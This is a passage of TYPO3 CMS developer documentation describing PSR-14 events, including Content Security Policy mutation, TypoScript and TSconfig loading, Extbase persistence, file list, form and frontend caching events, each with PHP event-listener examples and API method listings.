appendMutationSuggestions ( \TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationSuggestion ...$mutationSuggestions)
param $mutationSuggestions

the mutationSuggestions

PolicyMutatedEvent

The PSR-14 event \TYPO3\CMS\Core\Security\ContentSecurityPolicy\Event\PolicyMutatedEvent will be dispatched once all mutations have been applied to the current Content Security Policy object, just before the corresponding HTTP header is added to the HTTP response object. This allows individual adjustments for custom implementations.

Example

EXT:my_extension/Classes/ContentSecurityPolicy/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\ContentSecurityPolicy\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Directive;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\Event\PolicyMutatedEvent;
use TYPO3\CMS\Core\Security\ContentSecurityPolicy\UriValue;

#[AsEventListener(
    identifier: 'my-extension/mutate-policy',
)]
final readonly class MyEventListener
{
    public function __invoke(PolicyMutatedEvent $event): void
    {
        if ($event->scope->type->isFrontend()) {
            // In our example, only the backend policy should be adjusted
            return;
        }

        // Allow images from example.org
        $event->getCurrentPolicy()->extend(
            Directive::ImgSrc,
            new UriValue('https://example.org/'),
        );
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class PolicyMutatedEvent
Fully qualified name
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\Event\PolicyMutatedEvent
public readonly scope
public readonly request
public readonly defaultPolicy
isPropagationStopped ( )
Returns
bool
stopPropagation ( )
getCurrentPolicy ( )
Returns
\TYPO3\CMS\Core\Security\ContentSecurityPolicy\Policy
setCurrentPolicy ( \TYPO3\CMS\Core\Security\ContentSecurityPolicy\Policy $currentPolicy)
param $currentPolicy

the currentPolicy

getMutationCollections ( )
Returns
list<\MutationCollection>
setMutationCollections ( \TYPO3\CMS\Core\Security\ContentSecurityPolicy\MutationCollection ...$mutationCollections)
param $mutationCollections

the mutationCollections

ModifyTreeDataEvent

The PSR-14 event \TYPO3\CMS\Core\Tree\Event\ModifyTreeDataEvent allows to modify tree data for any database tree.

Example

API

class ModifyTreeDataEvent
Fully qualified name
\TYPO3\CMS\Core\Tree\Event\ModifyTreeDataEvent

Allows to modify tree data for any database tree

getTreeData ( )
Returns
\TYPO3\CMS\Backend\Tree\TreeNode
setTreeData ( \TYPO3\CMS\Backend\Tree\TreeNode $treeData)
param $treeData

the treeData

getProvider ( )
Returns
\TYPO3\CMS\Core\Tree\TableConfiguration\AbstractTableConfigurationTreeDataProvider

AfterTemplatesHaveBeenDeterminedEvent

The PSR-14 event \TYPO3\CMS\Core\TypoScript\IncludeTree\Event\AfterTemplatesHaveBeenDeterminedEvent can be used to manipulate sys_template rows. The event receives the list of resolved sys_template rows and the \Psr\Http\Message\ServerRequestInterface and allows manipulating the sys_template rows array.

The event is called in the code of the Site Management > TypoScript backend module, for example in the submodule Included TypoScript, and in the frontend.

Extensions using the old hook that want to stay compatible with TYPO3 v11 and v12 can implement both the hook and the event.

Example

EXT:my_extension/Classes/TypoScript/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\TypoScript\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\TypoScript\IncludeTree\Event\AfterTemplatesHaveBeenDeterminedEvent;

#[AsEventListener(
    identifier: 'my-extension/post-process-sys-templates',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterTemplatesHaveBeenDeterminedEvent $event): void
    {
        $rows = $event->getTemplateRows();

        // ... do something ...

        $event->setTemplateRows($rows);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterTemplatesHaveBeenDeterminedEvent
Fully qualified name
\TYPO3\CMS\Core\TypoScript\IncludeTree\Event\AfterTemplatesHaveBeenDeterminedEvent

A PSR-14 event fired when sys_template rows have been fetched.

This event is intended to add own rows based on given rows or site resolution.

getRootline ( )
Returns
array
getRequest ( )
Returns
?\Psr\Http\Message\ServerRequestInterface
getSite ( )

Convenience method to directly retrieve the Site. May be null though!

Returns
?\TYPO3\CMS\Core\Site\Entity\SiteInterface
getTemplateRows ( )
Returns
array
setTemplateRows ( array $templateRows)
param $templateRows

the templateRows

BeforeLoadedPageTsConfigEvent

New in version 13.0

The PSR-14 event \TYPO3\CMS\Core\TypoScript\IncludeTree\Event\BeforeLoadedPageTsConfigEvent can be used to add global static page TSconfig before anything else is loaded. This is especially useful, if page TSconfig is generated automatically as a string from a PHP function.

It is important to understand that this configuration is considered static and thus should not depend on runtime / request.

Example

EXT:my_extension/Classes/TypoScript/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\TypoScript\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\TypoScript\IncludeTree\Event\BeforeLoadedPageTsConfigEvent;

#[AsEventListener(
    identifier: 'my-extension/global-pagetsconfig',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeLoadedPageTsConfigEvent $event): void
    {
        $event->addTsConfig('global = a global setting');
    }
}
Copied!

New in version 13.0

API

class BeforeLoadedPageTsConfigEvent
Fully qualified name
\TYPO3\CMS\Core\TypoScript\IncludeTree\Event\BeforeLoadedPageTsConfigEvent

Extensions can add global page TSconfig right before they are loaded from other sources like the global page.tsconfig file.

Note: The added config should not depend on runtime / request. This is considered static config and thus should be identical on every request.

getTsConfig ( )
Returns
array
addTsConfig ( string $tsConfig)
param $tsConfig

the tsConfig

setTsConfig ( array $tsConfig)
param $tsConfig

the tsConfig

BeforeLoadedUserTsConfigEvent

New in version 13.0

The PSR-14 event \TYPO3\CMS\Core\TypoScript\IncludeTree\Event\BeforeLoadedUserTsConfigEvent can be used to add global static user TSconfig before anything else is loaded. This is especially useful, if user TSconfig is generated automatically as a string from a PHP function.

It is important to understand that this configuration is considered static and thus should not depend on runtime / request.

Example

EXT:my_extension/Classes/TypoScript/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\TypoScript\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\TypoScript\IncludeTree\Event\BeforeLoadedUserTsConfigEvent;

#[AsEventListener(
    identifier: 'my-extension/global-usertsconfig',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeLoadedUserTsConfigEvent $event): void
    {
        $event->addTsConfig('global = a global setting');
    }
}
Copied!

New in version 13.0

API

class BeforeLoadedUserTsConfigEvent
Fully qualified name
\TYPO3\CMS\Core\TypoScript\IncludeTree\Event\BeforeLoadedUserTsConfigEvent

Extensions can add global user TSconfig right before they are loaded from other sources like the global user.tsconfig file.

Note: The added config should not depend on runtime / request. This is considered static config and thus should be identical on every request.

getTsConfig ( )
Returns
array
addTsConfig ( string $tsConfig)
param $tsConfig

the tsConfig

setTsConfig ( array $tsConfig)
param $tsConfig

the tsConfig

EvaluateModifierFunctionEvent

The PSR-14 event \TYPO3\CMS\Core\TypoScript\AST\Event\EvaluateModifierFunctionEvent allows custom TypoScript functions using the := operator.

Example

A simple TypoScript example looks like this:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
someIdentifier = originalValue
someIdentifier := myModifierFunction(myFunctionArgument)
Copied!

The corresponding event listener class could look like this:

EXT:my_extension/Classes/TypoScript/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\TypoScript\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\TypoScript\AST\Event\EvaluateModifierFunctionEvent;

#[AsEventListener(
    identifier: 'my-extension/evaluate-modifier-function',
)]
final readonly class MyEventListener
{
    public function __invoke(EvaluateModifierFunctionEvent $event): void
    {
        if ($event->getFunctionName() === 'myModifierFunction') {
            $originalValue = $event->getOriginalValue();
            $functionArgument = $event->getFunctionArgument();
            // Manipulate values and set new value
            $event->setValue($originalValue . ' example ' . $functionArgument);
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class EvaluateModifierFunctionEvent
Fully qualified name
\TYPO3\CMS\Core\TypoScript\AST\Event\EvaluateModifierFunctionEvent

Listeners to this event are able to implement own ":=" TypoScript modifier functions, example:

foo = myOriginalValue foo := myNewFunction(myFunctionArgument)

Listeners should take care function names can not overlap with function names from other extensions and should thus namespace, example naming: "extNewsSortFunction()"

getFunctionName ( )

The function name, for example "extNewsSortFunction" when using "foo := extNewsSortFunction()"

Returns
string
getFunctionArgument ( )

Optional function argument, for example "myArgument" when using "foo := extNewsSortFunction(myArgument)" If the argument contained constants, those have been resolved at this point.

Returns
string
getOriginalValue ( )

Original / current value, for example "fooValue" when using: foo = fooValue foo := extNewsSortFunction(myArgument)

Returns
?string
setValue ( string $value)

Set the updated value calculated by a listener.

Note you can not set to null to "unset", since getValue() falls back to originalValue in this case. Set to empty string instead for this edge case.

param $value

the value

getValue ( )

Used by AstBuilder to fetch the updated value, falls back to given original value.

Can be used by Listeners to see if a previous listener changed the value already by comparing with getOriginalValue().

Returns
?string

Extbase

The following list contains PSR-14 events in EXT:extbase.

Contents:

BeforeFlexFormConfigurationOverrideEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Configuration\BeforeFlexFormConfigurationOverrideEvent can be used to implement a custom FlexForm override process based on the original FlexForm configuration and the framework configuration.

Example

EXT:my_extension/Classes/Extbase/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Extbase\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Extbase\Event\Configuration\BeforeFlexFormConfigurationOverrideEvent;

#[AsEventListener(
    identifier: 'my-extension/before-flexform-configuration-override',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeFlexFormConfigurationOverrideEvent $event): void
    {
        // Configuration from TypoScript
        $frameworkConfiguration = $event->getFrameworkConfiguration();

        // Configuration from FlexForm
        $originalFlexFormConfiguration = $event->getOriginalFlexFormConfiguration();

        // Currently merged configuration
        $flexFormConfiguration = $event->getFlexFormConfiguration();

        // Implement custom logic
        $flexFormConfiguration['settings']['foo'] = 'set from event listener';

        $event->setFlexFormConfiguration($flexFormConfiguration);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class BeforeFlexFormConfigurationOverrideEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Configuration\BeforeFlexFormConfigurationOverrideEvent

Event which is dispatched before flexForm configuration overrides framework configuration. Possible core flexForm overrides have already been processed in $flexFormConfiguration.

Listeners can implement a custom flexForm override process by using the original flexForm configuration available in $originalFlexFormConfiguration.

getFrameworkConfiguration ( )
Returns
array
getOriginalFlexFormConfiguration ( )
Returns
array
getFlexFormConfiguration ( )
Returns
array
setFlexFormConfiguration ( array $flexFormConfiguration)
param $flexFormConfiguration

the flexFormConfiguration

AfterRequestDispatchedEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Mvc\AfterRequestDispatchedEvent is fired after the dispatcher has successfully dispatched a request to a controller action.

Example

API

class AfterRequestDispatchedEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Mvc\AfterRequestDispatchedEvent

Event which is fired after the dispatcher has successfully dispatched a request to a controller/action.

getRequest ( )
Returns
\TYPO3\CMS\Extbase\Mvc\RequestInterface
getResponse ( )
Returns
\Psr\Http\Message\ResponseInterface

BeforeActionCallEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Mvc\BeforeActionCallEvent is triggered before any Extbase action is called within the ActionController or one of its subclasses.

Example

API

class BeforeActionCallEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Mvc\BeforeActionCallEvent

Event that is triggered before any Extbase Action is called within the ActionController or one of its subclasses.

getControllerClassName ( )
Returns
string
getActionMethodName ( )
Returns
string
getPreparedArguments ( )
Returns
array

AfterObjectThawedEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Persistence\AfterObjectThawedEvent allows to modify values when creating domain objects.

Example

API

class AfterObjectThawedEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\AfterObjectThawedEvent

Allows to modify values when creating domain objects.

getObject ( )
Returns
\TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface
getRecord ( )
Returns
array

EntityAddedToPersistenceEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Persistence\EntityAddedToPersistenceEvent is dispatched after persisting the object, but before updating the reference index and adding the object to the persistence session.

Example

API

class EntityAddedToPersistenceEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\EntityAddedToPersistenceEvent

Event which is fired after an object/entity was sent to persistence layer to be added, but before updating the reference index and current session.

getObject ( )
Returns
\TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface

EntityPersistedEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Persistence\EntityPersistedEvent is fired after an object was pushed to the storage backend.

Example

API

class EntityPersistedEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\EntityPersistedEvent

Event which is fired after an object was pushed to the storage backend

getObject ( )
Returns
\TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface

EntityRemovedFromPersistenceEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Persistence\EntityRemovedFromPersistenceEvent is fired after an object/entity was sent to the persistence layer to be removed.

Example

API

class EntityRemovedFromPersistenceEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\EntityRemovedFromPersistenceEvent

Event which is fired after an object/entity was sent to persistence layer to be removed.

getObject ( )
Returns
\TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface

EntityUpdatedInPersistenceEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Persistence\EntityUpdatedInPersistenceEvent is fired after an object/entity was persisted on update.

Example

API

class EntityUpdatedInPersistenceEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\EntityUpdatedInPersistenceEvent

Event which is fired after an object/entity was sent to persistence layer to be updated.

getObject ( )
Returns
\TYPO3\CMS\Extbase\DomainObject\DomainObjectInterface

ModifyQueryBeforeFetchingObjectCountEvent

New in version 14.0

The PSR-14 event \TYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectCountEvent is fired before the storage backend has asked for results count from a given query.

API

class ModifyQueryBeforeFetchingObjectCountEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectCountEvent

Event which is fired before the storage backend is asked for a result count from a given query.

getQuery ( )
Returns
\TYPO3\CMS\Extbase\Persistence\QueryInterface
setQuery ( \TYPO3\CMS\Extbase\Persistence\QueryInterface $query)
param $query

the query

ModifyQueryBeforeFetchingObjectDataEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectDataEvent is fired before the storage backend is asked for results from a given query.

Example

The example disables the respect storage page flag for the given types (models). This can be helpful if you are using bounded contexts and therefore have multiple repository and model classes. By using an event listener, this setting is centralized and does not to be repeated in each repository class.

EXT:my_extension/Classes/Extbase/EventListener/DisableRespectStoragePage.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Extbase\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectDataEvent;

#[AsEventListener(
    identifier: 'my-extension/disabled-respect-storage-page',
)]
final readonly class DisableRespectStoragePage
{
    private const TYPES = [
        \MyVendor\MyExtension\Domain\Model\List\MyRecord::class,
        \MyVendor\MyExtension\Domain\Model\Show\MyRecord::class,
    ];

    public function __invoke(ModifyQueryBeforeFetchingObjectDataEvent $event): void
    {
        // Only apply it to the given types (models)
        if (! \in_array($event->getQuery()->getType(), self::TYPES, true)) {
            return;
        }

        $querySettings = $event->getQuery()->getQuerySettings();
        $querySettings->setRespectStoragePage(false);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyQueryBeforeFetchingObjectDataEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\ModifyQueryBeforeFetchingObjectDataEvent

Event which is fired before the storage backend is asked for results from a given query.

getQuery ( )
Returns
\TYPO3\CMS\Extbase\Persistence\QueryInterface
setQuery ( \TYPO3\CMS\Extbase\Persistence\QueryInterface $query)
param $query

the query

ModifyResultAfterFetchingObjectCountEvent

New in version 14.0

The PSR-14 event \TYPO3\CMS\Extbase\Event\Persistence\ModifyResultAfterFetchingObjectCountEvent is fired after the storage backend has counted the results from a given query.

API

class ModifyResultAfterFetchingObjectCountEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\ModifyResultAfterFetchingObjectCountEvent

Event which is fired after the storage backend has counted the results of a given query.

getQuery ( )
Returns
\TYPO3\CMS\Extbase\Persistence\QueryInterface
getResult ( )
Returns
int
setResult ( int $result)
param $result

the result

ModifyResultAfterFetchingObjectDataEvent

The PSR-14 event \TYPO3\CMS\Extbase\Event\Persistence\ModifyResultAfterFetchingObjectDataEvent is fired after the storage backend has pulled results from a given query.

Example

API

class ModifyResultAfterFetchingObjectDataEvent
Fully qualified name
\TYPO3\CMS\Extbase\Event\Persistence\ModifyResultAfterFetchingObjectDataEvent

Event which is fired after the storage backend has pulled results from a given query.

getQuery ( )
Returns
\TYPO3\CMS\Extbase\Persistence\QueryInterface
getResult ( )
Returns
array
setResult ( array $result)
param $result

the result

AfterExtensionDatabaseContentHasBeenImportedEvent

Changed in version 13.0

The PSR-14 event \TYPO3\CMS\Extensionmanager\Event\AfterExtensionStaticDatabaseContentHasBeenImportedEvent has been removed. The information provided by this event can be accessed by fetching the corresponding storage entry from the PackageInitializationEvent.

AfterExtensionFilesHaveBeenImportedEvent

Changed in version 13.0

The PSR-14 event \TYPO3\CMS\Extensionmanager\Event\AfterExtensionStaticDatabaseContentHasBeenImportedEvent has been removed. The information provided by this event can be accessed by fetching the corresponding storage entry from the PackageInitializationEvent.

AfterExtensionStaticDatabaseContentHasBeenImportedEvent

Changed in version 13.0

The PSR-14 event \TYPO3\CMS\Extensionmanager\Event\AfterExtensionStaticDatabaseContentHasBeenImportedEvent has been removed. The information provided by this event can be accessed by fetching the corresponding storage entry from the PackageInitializationEvent.

AvailableActionsForExtensionEvent

The PSR-14 event \TYPO3\CMS\Extensionmanager\Event\AvailableActionsForExtensionEvent is triggered when rendering an additional action (currently within a Fluid ViewHelper) in the extension manager.

Example

API

class AvailableActionsForExtensionEvent
Fully qualified name
\TYPO3\CMS\Extensionmanager\Event\AvailableActionsForExtensionEvent

Event that is triggered when rendering an additional action (currently within a Fluid ViewHelper).

getPackageKey ( )
Returns
string
getPackageData ( )
Returns
array
getActions ( )
Returns
array
addAction ( string $actionKey, string $content)
param $actionKey

the actionKey

param $content

the content

setActions ( array $actions)
param $actions

the actions

ModifyEditFileFormDataEvent

The PSR-14 event \TYPO3\CMS\Filelist\Event\ModifyEditFileFormDataEvent allows to modify the form data, used to render the file edit form in the File > Filelist module using FormEngine data compiling.

Example

EXT:my_extension/Classes/FileList/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\FileList\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Filelist\Event\ModifyEditFileFormDataEvent;

#[AsEventListener(
    identifier: 'my-extension/modify-edit-file-form-data',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyEditFileFormDataEvent $event): void
    {
        // Get current form data
        $formData = $event->getFormData();

        // Change TCA "renderType" based on the file extension
        $fileExtension = $event->getFile()->getExtension();
        if ($fileExtension === 'ts') {
            $formData['processedTca']['columns']['data']['config']['renderType'] = 'tsRenderer';
        }

        // Set updated form data
        $event->setFormData($formData);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyEditFileFormDataEvent
Fully qualified name
\TYPO3\CMS\Filelist\Event\ModifyEditFileFormDataEvent

Listeners to this event are be able to modify the form data, used to render the edit file form in the filelist module.

getFormData ( )
Returns
array
setFormData ( array $formData)
param $formData

the formData

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

ProcessFileListActionsEvent

The PSR-14 event \TYPO3\CMS\Core\Configuration\Event\ProcessFileListActionsEvent is fired after generating the actions for the files and folders listing in the File > Filelist module.

This event can be used to manipulate the icons/actions, used for the edit control section in the files and folders listing within the File > Filelist module.

Example

EXT:my_extension/Classes/FileList/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\FileList\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Filelist\Event\ProcessFileListActionsEvent;

#[AsEventListener(
    identifier: 'my-extension/process-file-list',
)]
final readonly class MyEventListener
{
    public function __invoke(ProcessFileListActionsEvent $event): void
    {
        // do your magic
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ProcessFileListActionsEvent
Fully qualified name
\TYPO3\CMS\Filelist\Event\ProcessFileListActionsEvent

Event fired to modify icons rendered for the file listings

getResource ( )
Returns
\TYPO3\CMS\Core\Resource\ResourceInterface
isFile ( )
Returns
bool
getActionItems ( )
Returns
array
setActionItems ( array $actionItems)
param $actionItems

the actionItems

AfterFormDefinitionLoadedEvent

New in version 13.0

The PSR-14 event \TYPO3\CMS\Form\Mvc\Persistence\Event\AfterFormDefinitionLoadedEvent allows extensions to modify loaded form definitions.

The event is dispatched after \TYPO3\CMS\Form\Mvc\Persistence\FormPersistenceManager has loaded the definition either from the cache or the filesystem. In latter case, the event is dispatched after FormPersistenceManager has stored the loaded definition in cache. This means, it is always possible to modify the cached version. However, the modified form definition is then overridden by TypoScript, in case a corresponding formDefinitionOverrides exists.

Example

EXT:my_extension/Classes/LinkHandling/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\LinkHandling\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Form\Mvc\Persistence\Event\AfterFormDefinitionLoadedEvent;

#[AsEventListener(
    identifier: 'my-extension/after-form-definition-loaded',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterFormDefinitionLoadedEvent $event): void
    {
        if ($event->getPersistenceIdentifier() === '1:/form_definitions/contact.form.yaml') {
            $formDefinition = $event->getFormDefinition();
            $formDefinition['label'] = 'Some new label';
            $event->setFormDefinition($formDefinition);
        }
    }
}
Copied!

New in version 13.0

API

class AfterFormDefinitionLoadedEvent
Fully qualified name
\TYPO3\CMS\Form\Mvc\Persistence\Event\AfterFormDefinitionLoadedEvent

Listeners are able to modify the loaded form definition

getFormDefinition ( )
Returns
array
setFormDefinition ( array $formDefinition)
param $formDefinition

the formDefinition

getPersistenceIdentifier ( )
Returns
string
getCacheKey ( )
Returns
string

Frontend

The following list contains PSR-14 events in the TYPO3 Core .

Contents:

AfterCacheableContentIsGeneratedEvent

The PSR-14 event \TYPO3\CMS\Frontend\Event\AfterCacheableContentIsGeneratedEvent can be used to decide if a page should be stored in cache.

It is executed right after all cacheable content is generated. It can also be used to manipulate the content before it is stored in TYPO3's page cache. In the Core, the event is used in EXT:indexed_search to index cacheable content.

The AfterCacheableContentIsGeneratedEvent contains the information if a generated page is able to store in cache via the $event->isCachingEnabled() method. This can be used to differentiate between the previous hooks contentPostProc-cached and contentPostProc-all. The later hook was called regardless of whether the cache was enabled or not.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\Event\AfterCacheableContentIsGeneratedEvent;

#[AsEventListener(
    identifier: 'my-extension/content-modifier',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterCacheableContentIsGeneratedEvent $event): void
    {
        // Only do this when caching is enabled
        if (!$event->isCachingEnabled()) {
            return;
        }
        $event->getController()->content = str_replace(
            'foo',
            'bar',
            $event->getController()->content,
        );
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterCacheableContentIsGeneratedEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\AfterCacheableContentIsGeneratedEvent

Event that allows to enhance or change content (also depending on enabled caching).

Think of $this->isCachingEnabled() as the same as $TSFE->no_cache. Depending on disable or enabling caching, the cache is then not stored in the pageCache.

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getController ( )
Returns
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController
isCachingEnabled ( )
Returns
bool
disableCaching ( )
enableCaching ( )
getCacheIdentifier ( )
Returns
string

AfterCachedPageIsPersistedEvent

This event together with AfterCacheableContentIsGeneratedEvent has been introduced to serve as a direct replacement for the removed hook:

  • $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_fe.php']['insertPageIncache']

The PSR-14 event \TYPO3\CMS\Frontend\Event\AfterCachedPageIsPersistedEvent is commonly used to generate a static file cache. This event is only called if the page was actually stored in TYPO3's page cache.

Example

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\Event\AfterCachedPageIsPersistedEvent;

#[AsEventListener(
    identifier: 'my-extension/content-modifier',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterCachedPageIsPersistedEvent $event): void
    {
        // generate static file cache
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterCachedPageIsPersistedEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\AfterCachedPageIsPersistedEvent

Event that is used directly after all cached content is stored in the page cache.

NOT fired, if: A page is called from the cache Caching is disabled using 'frontend.cache.instruction' request attribute, which can be set by various middlewares or AfterCacheableContentIsGeneratedEvent

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getController ( )
Returns
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController
getCacheIdentifier ( )
Returns
string
getCacheData ( )
Returns
array
getCacheLifetime ( )

The amount of seconds until the cache entry is invalid.

Returns
int

AfterContentHasBeenFetchedEvent

New in version 13.4.2 / 14.0

Using the PSR-14 \TYPO3\CMS\Frontend\Event\AfterContentHasBeenFetchedEvent , it is possible to manipulate the page content, which has been fetched by the page-content data processor, based on the page layout and corresponding columns configuration.

Example

The event listener class, using the PHP attribute #[AsEventListener] for registration, removes some of the fetched page content elements based on specific field values.

EXT:my_extension/Classes/Frontend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Frontend\Event\AfterContentHasBeenFetchedEvent;

final readonly class MyEventListener
{
    #[AsEventListener]
    public function removeFetchedPageContent(AfterContentHasBeenFetchedEvent $event): void
    {
        foreach ($event->groupedContent as $columnIdentifier => $column) {
            foreach ($column['records'] ?? [] as $key => $record) {
                if ($record->has('parent_field_name') && (int)($record->get('parent_field_name') ?? 0) > 0) {
                    unset($event->groupedContent[$columnIdentifier]['records'][$key]);
                }
            }
        }
    }
}
Copied!

API

class AfterContentHasBeenFetchedEvent
Fully qualified name
\TYPO3\CMS\Frontend\Event\AfterContentHasBeenFetchedEvent

Event listeners are able to manipulate fetched page content, which is already grouped by column

public groupedContent
public readonly request

AfterContentObjectRendererInitializedEvent

New in version 13.0

This event serves as a drop-in replacement for the removed hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_content.php']['postInit'] .

